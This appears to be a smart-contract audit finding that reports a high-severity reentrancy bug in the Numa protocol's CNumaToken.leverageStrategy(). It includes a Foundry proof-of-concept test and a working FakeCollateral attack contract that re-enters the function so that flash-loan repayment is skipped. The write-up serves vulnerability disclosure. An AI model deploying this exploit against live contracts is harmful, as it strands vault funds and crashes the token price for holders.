Small Shamrock Rook
High
CNumaToken.leverageStrategy() can be re-entered, causing all the vault funds to be moved to a cToken, crashing NUMA price.
CNumaToken.leverageStrategy()
has a _collateral
token parameter which allows an attacker to pass in a custom _collateral
token, which acts as a wrapper around the actual collateral token, while also receiving callbacks to enable reentrancy.
This allows the flash loan repayment to be avoided, causing a large chunk of the vault's fund to be stuck in the cNuma contract, severely dumping the NUMA price.
Allowing the user to pass in the _collateral
token enables reentrancy, allowing them to call leverageStrategy()
again. Then when repayLeverage()
is called in the reentrant call, the leverageDebt
in the vault is set to 0
, even though the first call still has not repaid it's leverageDebt.
No response
No response
This exact attack is shown in the PoC. It involves a specially crafted FakeCollateral
contract which is a wrapper around the underlying collateral, which ensures that the attack does not revert.
- Attacker calls
cNuma.leverageStrategy()
, with_collateral=FakeCollateral
, and a large_borrowAmount
- The FakeCollateral contract re-enters the
cNuma
contract, callingleverageStrategy()
again, with a small_borrowAmount
- The reentrant call to
leverageStrategy()
finishes by callingvault.repayLeverage()
which setsleverageDebt
to0
. - Since
leverageDebt
is equal to0
, when it comes time for the initial `leverageStrategy()'s borrow to be repaid, none will be repaid. This causes the entire borrowed funds to be stuck in cNuma.
Large amounts of LST can be pulled from the vault into the CNuma
contract. This dumps the NUMA price since it depends on the ETH balance of the vault. These LSTs will be permanently lost and stuck.
The PoC demonstrates moving 10% of the vault's funds into the cNuma contract where it can't be retrieved.
Add the foundry test to Lending.t.sol
function test_reentrancy_leverageStrategy() public {
vm.startPrank(userA);
address[] memory t = new address[](2);
t[0] = address(cReth);
t[1] = address(cNuma);
comptroller.enterMarkets(t);
// mint cNuma so that we can borrow numa later
uint depositAmount = 9e24;
numa.approve(address(cNuma), depositAmount);
cNuma.mint(depositAmount);
// To be used as collateral to borrow NUMA
deal(address(rEth), userA, 1e24 + providedAmount);
rEth.approve(address(cReth), 1e24);
cReth.mint(1e24);
uint256 vaultRethBefore = rEth.balanceOf(address(cNuma.vault()));
uint reth_in_cNuma = rEth.balanceOf(address(cNuma));
rEth.approve(address(cNuma), providedAmount);
// Setting up fake collateral token (which interacts with rETH)
FakeCollateral fake_cReth = new FakeCollateral(address(cReth), address(rEth), userA, comptroller);
// Sending it a tiny amount of cReth, so it can re-enter cNuma.leverageStrategy()
cReth.transfer(address(fake_cReth), 5e10 / 2);
// call strategy
uint256 borrowAmount = 1e24;
uint strategyindex = 0;
cNuma.leverageStrategy(
providedAmount,
borrowAmount,
CNumaToken(address(fake_cReth)),
strategyindex
);
// check balances
// cnuma position
uint256 vaultRethAfter = rEth.balanceOf(address(cNuma.vault()));
uint reth_in_cNuma_After = rEth.balanceOf(address(cNuma));
// Shows that the rETH balance of the cNuma token contract has gone up by `borrowAmount` (since flash loan was not repaid)
console.log("cNUMA rETH balance: %e->%e (stuck funds)", reth_in_cNuma, reth_in_cNuma_After);
assertEq(reth_in_cNuma_After - reth_in_cNuma, borrowAmount);
}
Also add the following attack contract to a new file FakeCollateral.sol
in the same directory as Lending.t.sol
Attack contract
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "forge-std/console.sol";
import "@openzeppelin/contracts_5.0.2/token/ERC20/ERC20.sol";
import {IUniswapV3Pool} from "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/libraries/FullMath.sol";
import "@uniswap/v3-core/contracts/libraries/FixedPoint96.sol";
import "./uniV3Interfaces/ISwapRouter.sol";
import {NumaComptroller} from "../lending/NumaComptroller.sol";
import {NumaLeverageLPSwap} from "../Test/mocks/NumaLeverageLPSwap.sol";
import "../lending/ExponentialNoError.sol";
import "../lending/INumaLeverageStrategy.sol";
import "../lending/CToken.sol";
import "../lending/CNumaToken.sol";
import {Setup} from "./utils/SetupDeployNuma_Arbitrum.sol";
import {console} from "forge-std/console.sol";
contract FakeCollateral {
CNumaToken actualCollateral;
ERC20 actualUnderlying;
address public user;
bool entered = false;
NumaComptroller comptroller;
constructor(address _actualCollateral, address _underlying, address _user, NumaComptroller _comptroller) {
actualCollateral = CNumaToken(_actualCollateral);
actualUnderlying = ERC20(actualCollateral.underlying());
user = _user;
comptroller = _comptroller;
address[] memory t = new address[](1);
t[0] = address(actualCollateral);
comptroller.enterMarkets(t);
}
function underlying() external view returns(address) {
return address(actualUnderlying);
}
function accrueInterest() public returns (uint) {
return 0;
}
function mint(uint256 amt) external returns (uint) {
actualUnderlying.transferFrom(msg.sender, address(this), amt);
actualUnderlying.approve(address(actualCollateral), amt);
uint256 balanceBefore = actualCollateral.balanceOf(address(this));
actualCollateral.mint(amt);
uint256 balanceAfter = actualCollateral.balanceOf(address(this));
if (balanceAfter - balanceBefore > 0) {
// transfer most of it to the user
console.log("transferring %e cTokens to user", balanceAfter - balanceBefore - 1 wei);
actualCollateral.transfer(user, balanceAfter - balanceBefore - 1 wei);
}
// transfer 1 wei to msg.sender to prevent revert
actualCollateral.transfer(msg.sender, 1 wei);
}
function transfer(address to, uint amt) external returns(bool truth){
// re-enter for another leverage play
if (!entered) {
entered = true;
CNumaToken(msg.sender).leverageStrategy(0, 1e15, CNumaToken(address(this)), 0);
return true;
}
return true;
}
function balanceOf(address addy) public view returns(uint) {
return actualCollateral.balanceOf(addy);
}
}
No response